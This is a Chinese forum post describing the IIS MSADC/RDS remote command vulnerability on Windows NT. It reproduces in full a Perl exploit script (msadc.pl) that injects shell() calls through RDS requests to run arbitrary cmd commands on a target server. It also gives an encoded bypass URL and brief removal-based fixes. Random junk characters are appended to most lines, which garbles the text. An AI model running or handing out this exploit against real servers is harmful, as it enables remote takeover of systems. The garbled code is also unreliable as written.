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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) HKB?G~  
hSAdD!  
涉及程序: oVZI ([O  
Microsoft NT server XotiKCk|Aq  
T'i^yd }*v  
描述: GK6/S_l%D+  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 y5@#le M  
hHA!.u4&  
详细: stxei 6  
如果你没有时间读详细内容的话,就删除:  6chcpP0  
c:\Program Files\Common Files\System\Msadc\msadcs.dll h2S!<  
有关的安全问题就没有了。 TA4>12C6  
Y5mQY5u|  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 jpwR\"UJ  
;*{"|l qe  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Tumv0=q4wd  
关于利用ODBC远程漏洞的描述,请参看: "mk@p=d  
gm^j8  B  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 6DkFIkS  
*sJT\J$D[  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 gWk?g^KJL  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp =Ff _)k  
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这里不再论述。 bm>N~DC  
bwR$9 10b  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 7];AB;0"  
+DsdzR`Gx,  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset cMU"SO  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! lwSZ pS  
}yzCq+  
V><,.p8  
#将下面这段保存为txt文件,然后: "perl -x 文件名" @5RbMf{  
)tvP|  
#!perl :?!b\LJ2^  
# {<}9r6k;f  
# MSADC/RDS 'usage' (aka exploit) script #Vy8<Vy&w  
# omP\qOc  
# by rain.forest.puppy ayGcc`  
# XJZ\ss  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me `{KdmWhW  
# beta test and find errors! @> |3d  
n2V $dF4m  
use Socket; use Getopt::Std; #}p@+rkg2  
getopts("e:vd:h:XR", \%args); N%f% U  
n 9>**&5L  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; C ^IPddw>  
V?L8BRnV  
if (!defined $args{h} && !defined $args{R}) { \V(w=   
print qq~ fEo5j`}  
Usage: msadc.pl -h <host> { -d <delay> -X -v } m{gw:69h  
-h <host> = host you want to scan (ip or domain) 8P?p  
-d <seconds> = delay between calls, default 1 second oNEjlV*  
-X = dump Index Server path table, if available <da-iY\5  
-v = verbose |LLDaA-=0  
-e = external dictionary file for step 5 A+=K<e  
@fQvAok  
Or a -R will resume a command session 5r1u_8)'  
{Mpx33  
~; exit;} RW`j^q,c3  
FoQy@GnM5  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; h`n) b  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} JT p+&NS  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 0f5c#/7C9  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); %y{'p:  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Q2>o+G  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } C+L_f_6]  
*t{^P*pc  
if (!defined $args{R}){ $ret = &has_msadc; 5O%?J-Hp  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} f6,?Yex8B  
29HyeLB@  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" oh0*bh  
. "cmd /c "; -Hh.8(!XoO  
$in=<STDIN>; chomp $in; gy`WBg(7x  
$command="cmd /c " . $in ; GY t|[GC  
)61X,z  
if (defined $args{R}) {&load; exit;} / q| o  
h'nXV{N0  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 8B`w!@hf  
&try_btcustmr; Fhrj$  
,p>@:C/M  
print "\nStep 2: Trying to make our own DSN..."; 0z$::p$%u  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; i+Lqj  
$KVCEe!X  
print "\nStep 3: Trying known DSNs..."; `%/w0,0  
&known_dsn; :w<Ga8\tZ  
|jB/d@RE  
print "\nStep 4: Trying known .mdbs..."; R=J5L36F  
&known_mdb; P:>]a$Is  
5S*aZ1t18  
if (defined $args{e}){ $DlO<  
print "\nStep 5: Trying dictionary of DSN names..."; Q_)$Ha{>H,  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } r>ag( ^J\  
D0}r4eA  
print "Sorry Charley...maybe next time?\n"; kQ`p\}7_  
exit; :Vy*MPS5  
>} E  
############################################################################## G3o`\4p  
}60/5HNr  
sub sendraw { # ripped and modded from whisker $jOp:R&I^3  
sleep($delay); # it's a DoS on the server! At least on mine... r+!29  
my ($pstr)=@_; hCb2<_3CR  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Z,oCkv("n  
die("Socket problems\n"); I8/tD|3  
if(connect(S,pack "SnA4x8",2,80,$target)){ c2u*<x  
select(S); $|=1; 050V-S>s  
print $pstr; my @in=<S>; 9S|a!9J  
select(STDOUT); close(S); \beYb0(+  
return @in; VfFbZds8f  
} else { die("Can't connect...\n"); }} $H`{wJ?2(  
KPAvNM  
############################################################################## sDB,+1"Y$  
v?YxF}  
sub make_header { # make the HTTP request |=:<[FU  
my $msadc=<<EOT 9&bJ]  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 twox.@"U  
User-Agent: ACTIVEDATA f@ILC=c<  
Host: $ip ,u=+%6b)A  
Content-Length: $clen 6Nws>(Ij  
Connection: Keep-Alive qP$)V3l  
j[A:So  
ADCClientVersion:01.06 [:zP]l.|  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ^'n;W<\p)  
c,:nWf  
--!ADM!ROX!YOUR!WORLD! p^1~o/  
Content-Type: application/x-varg @ qS Z=  
Content-Length: $reqlen X"sJiFS  
H*P[tyz$  
EOT {DapXx  
; $msadc=~s/\n/\r\n/g; @)C.IQ~  
return $msadc;} `pjB^--w  
p<<dj%  
############################################################################## HQNpf1=D  
[tRb{JsUd  
sub make_req { # make the RDS request ~RH)iI  
my ($switch, $p1, $p2)=@_; PQ{5*}$N  
my $req=""; my $t1, $t2, $query, $dsn; Ciy%7_~\  
q+} \ (|  
if ($switch==1){ # this is the btcustmr.mdb query =!G{+&j  
$query="Select * from Customers where City=" . make_shell(); B3<sSe8L0  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ~e&O?X  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} A&A{Thz  
/Pxny3  
elsif ($switch==2){ # this is general make table query xE{slDl  
$query="create table AZZ (B int, C varchar(10))"; D/afa8>LQH  
$dsn="$p1";} dZox;_b  
{:|b,ep T  
elsif ($switch==3){ # this is general exploit table query TPs ]n7]:  
$query="select * from AZZ where C=" . make_shell(); "|Kag|(qB  
$dsn="$p1";} fRT4>So   
mL-6+pJ@  
elsif ($switch==4){ # attempt to hork file info from index server oQ A,57B  
$query="select path from scope()"; m Ga:~x  
$dsn="Provider=MSIDXS;";} ExM VGe  
.K]Uk/W  
elsif ($switch==5){ # bad query ~6K.5t7  
$query="select"; R9(Yi<CC  
$dsn="$p1";} ]V)*WP#a  
#q>\6} )  
$t1= make_unicode($query); E3] 8(P%D-  
$t2= make_unicode($dsn); ]57yorc`  
$req = "\x02\x00\x03\x00"; 0gG r/78   
$req.= "\x08\x00" . pack ("S1", length($t1)); S503b*pM  
$req.= "\x00\x00" . $t1 ; 8 C9ny}  
$req.= "\x08\x00" . pack ("S1", length($t2)); F B:nkUR`  
$req.= "\x00\x00" . $t2 ; ~9"c64 q  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; H@u5&  
return $req;} e,r7UtjoxR  
s7sTY   
############################################################################## 1:r#m- \  
_u'y7-  
sub make_shell { # this makes the shell() statement Uy.ihh$I-  
return "'|shell(\"$command\")|'";} 2C1NDrS;}  
%P{3c~?DH  
############################################################################## 3 /PvH E{R  
S{3c}>n  
sub make_unicode { # quick little function to convert to unicode z4~p(tl  
my ($in)=@_; my $out; 7<Qmpcp =  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } wFMw&=j  
return $out;} 4*D"*kR;  
'F#dv[N  
############################################################################## B*Ey&DAV  
Rt:^'Qi$!  
sub rdo_success { # checks for RDO return success (this is kludge) ef)zf+o  
my (@in) = @_; my $base=content_start(@in); LlS~J K  
if($in[$base]=~/multipart\/mixed/){ 2[;~@n1P  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} |fW_9={1kQ  
return 0;} kv6nVlI)B  
.wmqaLd%  
############################################################################## &YcOmI/MM  
N:okt)q:%  
sub make_dsn { # this makes a DSN for us cRuN;  
my @drives=("c","d","e","f"); B,&QI&k`~  
print "\nMaking DSN: "; y=.bn!u}z  
foreach $drive (@drives) { J .VZD  
print "$drive: "; A2;6Vz=z  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . G')zDx  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" rL&Mq}7QK  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); jE wt1S V  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; c&x1aF "B  
return 0 if $2 eq "404"; # not found/doesn't exist :5.F  
if($2 eq "200") { V#5$J Xp  
foreach $line (@results) { ky-nP8L}  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} U82mO+}  
} return 0;} J3(E{w8Q  
P -nhG  
############################################################################## 0\vG <  
QxN1N^a0  
sub verify_exists { U$<" . q  
my ($page)=@_; &r~s3S{pQ  
my @results=sendraw("GET $page HTTP/1.0\n\n"); vj 344B  
return $results[0];} e(xuy'4r  
PEm2w#X%L  
############################################################################## u1Slu%^e  
N>,`TsUwW  
sub try_btcustmr { "DA%vdu  
my @drives=("c","d","e","f"); _Gf-s51s  
my @dirs=("winnt","winnt35","winnt351","win","windows"); kY!zBk  
W &:0J  
foreach $dir (@dirs) { F>3 o0ke}  
print "$dir -> "; # fun status so you can see progress 1_#;+S  
foreach $drive (@drives) { E1tCY.N{  
print "$drive: "; # ditto T1*.3_wtP  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; k].swvIi  
$reqlenlen=length( "$reqlen" ); D7T|K :F)  
$clen= 206 + $reqlenlen + $reqlen; {=?(v`88  
*coUHbP9>  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); AWYlhH4c?t  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} G}^=(,jl  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} P"l'? `  
Je6wio- 4  
############################################################################## i>]PW|]  
`}KxzD  
sub odbc_error { w/ (c}%v}=  
my (@in)=@_; my $base; )dqNN tS  
my $base = content_start(@in); mJ=V <_  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this \wk;Bo  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @fJsRWvGq  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; CoNaGb  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; zSQy  
return $in[$base+4].$in[$base+5].$in[$base+6];} j6Sg~nRh  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; <+-n lK4  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . z<mN-1PM7&  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} <n06(9BF  
Btm _S\1  
############################################################################## DKu$u ]Z  
'QxJU$  
sub verbose { H@Ot77(*  
my ($in)=@_; fn=A_ i  
return if !$verbose; ,LN^Zx*  
print STDOUT "\n$in\n";} w5{l-Z  
d+,!p8Q  
############################################################################## r A(A$VR  
"mQcc }8  
sub save { :;yrYAyT3  
my ($p1, $p2, $p3, $p4)=@_; <<CWN(hQWO  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; j&_>_*.y  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; }`Ya;  
close OUT;} rU&Y/  
P1T {5u!T  
############################################################################## pR93T+X  
Ao$k[#px  
sub load { _<FUS'"  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; J  sz=5`  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); g:a[N%[C  
@p=<IN>; close(IN); k]5tU\;Yw  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); $b1>,d'oz  
$target= inet_aton($ip) || die("inet_aton problems"); S-88m/"]s  
print "Resuming to $ip ..."; f"P866@oWn  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; #jrlNg4(  
if($p[1]==1) { (C#0 ML  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; }Le]qoW['  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ;Vat\,45pg  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 2m:K %Em6u  
if (rdo_success(@results)){print "Success!\n";} (0b\%;}  
else { print "failed\n"; verbose(odbc_error(@results));}} 2#R$-* ;#  
elsif ($p[1]==3){ a-Y6ghs  
if(run_query("$p[3]")){ un_NBv}  
print "Success!\n";} else { print "failed\n"; }} ]!"w?-h Si  
elsif ($p[1]==4){ EI6kBRMo  
if(run_query($drvst . "$p[3]")){ su%-b\8K  
print "Success!\n"; } else { print "failed\n"; }} Ih|4ISI  
exit;} [)s4:V  
~Yi4?B<  
############################################################################## xS tsw5d  
6h)_{| L)  
sub create_table { ]"uG04"Vk  
my ($in)=@_; qz]qG=wmL  
$reqlen=length( make_req(2,$in,"") ) - 28; X+N5iT  
$reqlenlen=length( "$reqlen" );  P>iZ gv  
$clen= 206 + $reqlenlen + $reqlen; eG!ma`v  
my @results=sendraw(make_header() . make_req(2,$in,""));  ^AaE$G&:  
return 1 if rdo_success(@results); *)-@'{]uB  
my $temp= odbc_error(@results); verbose($temp); Ovk=s,a)K  
return 1 if $temp=~/Table 'AZZ' already exists/; BLt58LYGX  
return 0;} &d2L9kTk  
}bca-|N  
############################################################################## $Y_S`#c@i  
b)Da6fp  
sub known_dsn { 7 uL.=th'  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go U|tacO5w`  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", c,.@Cc2  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", j;@a~bks6z  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); heou\;GI"  
sIf]e'@AC  
foreach $dSn (@dsns) { Z/G#3-5)p  
print "."; mz6]=]1w  
next if (!is_access("DSN=$dSn")); M-i3_H)  
if(create_table("DSN=$dSn")){ 9X 4[Zk  
print "$dSn successful\n"; @ewaj!  
if(run_query("DSN=$dSn")){ 2e%\aP`D2  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { *cXq=/s  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ZBpcC0 z  
:G@z?ZJ[  
############################################################################## :cWU,V  
5["3[h  
sub is_access { zY:3*DiM  
my ($in)=@_; f;BY%$  
$reqlen=length( make_req(5,$in,"") ) - 28; [(x*!,=  
$reqlenlen=length( "$reqlen" ); 4h|*r !  
$clen= 206 + $reqlenlen + $reqlen; g]: [^p  
my @results=sendraw(make_header() . make_req(5,$in,"")); 0j(U &  
my $temp= odbc_error(@results); cWx`y><  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); y*+8Z&i.:  
return 0;} VqW5VL a  
">. k 6Q  
############################################################################## :Q=y'<  
SgewAng?@o  
sub run_query { z6@8IszU  
my ($in)=@_; [?I<$f"  
$reqlen=length( make_req(3,$in,"") ) - 28; HP]5"ziA  
$reqlenlen=length( "$reqlen" ); OS@uGp=  
$clen= 206 + $reqlenlen + $reqlen; s2SV   
my @results=sendraw(make_header() . make_req(3,$in,"")); y4h =e~  
return 1 if rdo_success(@results); $rcv@-l  
my $temp= odbc_error(@results); verbose($temp); "ymR8 y'  
return 0;} 5s3QN{h8  
yPtE5"(o  
############################################################################## >4luZnWMI  
XN Uw  
sub known_mdb { i,<'AL )  
my @drives=("c","d","e","f","g"); Itr 4 Pr  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =h vPq@C%  
my $dir, $drive, $mdb; 9n\>Yieu  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; gjG SI'M0B  
$3 -QM  
# this is sparse, because I don't know of many Anyy  
my @sysmdbs=( "\\catroot\\icatalog.mdb", r_$*euh@  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", @,.D]43  
"\\system32\\certmdb.mdb", ?K7uy5Y  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% r6uN6XCM  
u:|^L]{  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", XyN " Jr  
"\\cfusion\\cfapps\\forums\\forums_.mdb", $+GDPYm'  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", u*2?Gky  
"\\cfusion\\cfapps\\security\\realm_.mdb", *w4#D:g  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", S:j{R^$k  
"\\cfusion\\database\\cfexamples.mdb", %P s.r{%{  
"\\cfusion\\database\\cfsnippets.mdb", Vq]ixag2^  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", i;9X_?QF  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 2_HIn  
"\\cfusion\\brighttiger\\database\\cleam.mdb", xA7~"q&u  
"\\cfusion\\database\\smpolicy.mdb", ; &6 {c  
"\\cfusion\\database\cypress.mdb", yZNG>1 N  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", BZQ}c<Nl  
"\\website\\cgi-win\\dbsample.mdb", (J5} 1Q<K  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ,3_Sf?  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" E5rV}>(Y  
); #these are just fV>d_6Lf}  
foreach $drive (@drives) { oMg-.!6  
foreach $dir (@dirs){ Gl'G;F$Y-  
foreach $mdb (@sysmdbs) { W/BPf{U  
print "."; ;]grbqXVE  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 41Q 5%2  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; $L0sBW&  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ZtO$kK%q;  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 8k-]u3  
} else { print "Something's borked. Use verbose next time\n"; }}}}} I?PqWG!O  
EB!ne)X  
foreach $drive (@drives) { nX3?7"v  
foreach $mdb (@mdbs) { ?lD)J?j  
print "."; ;&CLb`<y  
if(create_table($drv . $drive . $dir . $mdb)){ g?"QahH G  
print "\n" . $drive . $dir . $mdb . " successful\n"; 7!cLTq  
if(run_query($drv . $drive . $dir . $mdb)){ \_,p@r]Q  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; TSewq4`K  
} else { print "Something's borked. Use verbose next time\n"; }}}} vc"!3x-G*  
} @6~lZgXOV[  
tIDN~[1  
##############################################################################  :2nsi4  
$T3_~7N  
sub hork_idx { ni{'V4A  
print "\nAttempting to dump Index Server tables...\n"; 8&8!(\xv  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; g=nb-A{#  
$reqlen=length( make_req(4,"","") ) - 28; ^wBlQmW7J  
$reqlenlen=length( "$reqlen" ); M]6+s`?r  
$clen= 206 + $reqlenlen + $reqlen; \78^ O  
my @results=sendraw2(make_header() . make_req(4,"","")); n?cC]k;P~  
if (rdo_success(@results)){ $Okmurnn  
my $max=@results; my $c; my %d; .5a>!B.I  
for($c=19; $c<$max; $c++){ _2G _Io  
$results[$c]=~s/\x00//g; hJ ^+asr  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; b]z_2h~`  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 1Z c=QJw@  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ^,I2 @OS  
$d{"$1$2"}="";} 'k\j[fk/K  
foreach $c (keys %d){ print "$c\n"; } ?&wrz  
} else {print "Index server doesn't seem to be installed.\n"; }} R&(OWF;~,  
WcqR; Nm  
############################################################################## $Ah p4oiE  
KJQ8Yhq  
sub dsn_dict {  Ll; v[Y  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); RBf#5VjOG!  
while(<IN>){ FCNYfjB%  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; nu+K N,3R"  
next if (!is_access("DSN=$dSn")); C lf;+G0  
if(create_table("DSN=$dSn")){ {H[N|\  
print "$dSn successful\n"; 7d>w]R,Z  
if(run_query("DSN=$dSn")){ af | mk@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 6k;5T   
print "Something's borked. Use verbose next time\n";}}} 6vbKKn`ST  
print "\n"; close(IN);} 1ygEyC[1  
G(wK(P0j  
############################################################################## BH {z]a  
I ==)a6^  
sub sendraw2 { # ripped and modded from whisker 'qT;Eht5  
sleep($delay); # it's a DoS on the server! At least on mine... +Xw%X3o)  
my ($pstr)=@_; dQ{qA(m  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || C8|Ls(4Ck  
die("Socket problems\n"); + GQ{{B  
if(connect(S,pack "SnA4x8",2,80,$target)){ zGU MH7 M  
print "Connected. Getting data"; ?:9y !Q=  
open(OUT,">raw.out"); my @in; Vv+nq_  
select(S); $|=1; print $pstr; 7<]&pSt=  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 2o<*rH  
close(OUT); select(STDOUT); close(S); return @in; JR]elRR  
} else { die("Can't connect...\n"); }} 0=HB!{ @  
%HpPTjAW  
############################################################################## }:faHLYT  
N}U+K  
sub content_start { # this will take in the server headers QxW+|Gt._  
my (@in)=@_; my $c; }O~D3z4l0  
for ($c=1;$c<500;$c++) { ]*| hd/j  
if($in[$c] =~/^\x0d\x0a/){ 9*I[q[>9  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } =JE<oVP8  
else { return $c+1; }}} wicsf<]  
return -1;} # it should never get here actually #Q7:Mu+  
L^t%p1R  
############################################################################## .B~yI3D`M  
B)@Xz<Q  
sub funky { rT4Q^t"  
my (@in)=@_; my $error=odbc_error(@in); uxL+oP0  
if($error=~/ADO could not find the specified provider/){ QDYuJ&!h  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ]>)shH=Yx  
exit;} l[[`-f8j  
if($error=~/A Handler is required/){ _Kaqx"D  
print "\nServer has custom handler filters (they most likely are patched)\n"; BN]o!Y  
exit;} j7&#R+f  
if($error=~/specified Handler has denied Access/){ M**Sus87Q  
print "\nServer has custom handler filters (they most likely are patched)\n"; xSN;vrLHR  
exit;}} N~/X.D4e#  
E8kD#tL  
############################################################################## IIY_Q9in  
Ag0w8F  
sub has_msadc { V z  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Qc*p+N+$  
my $base=content_start(@results); c`3`}&g#  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); BTr oe=R  
return 0;} bTeuOpp  
( ww4(  
######################## KB~[nZs7  
'vVt^h2  
}\<=B%{  
解决方案: *3Lo[GE>  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ;q-c[TZC  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 "Fmq$.$%  
/Hk})o_  
拿出来充数 哈哈
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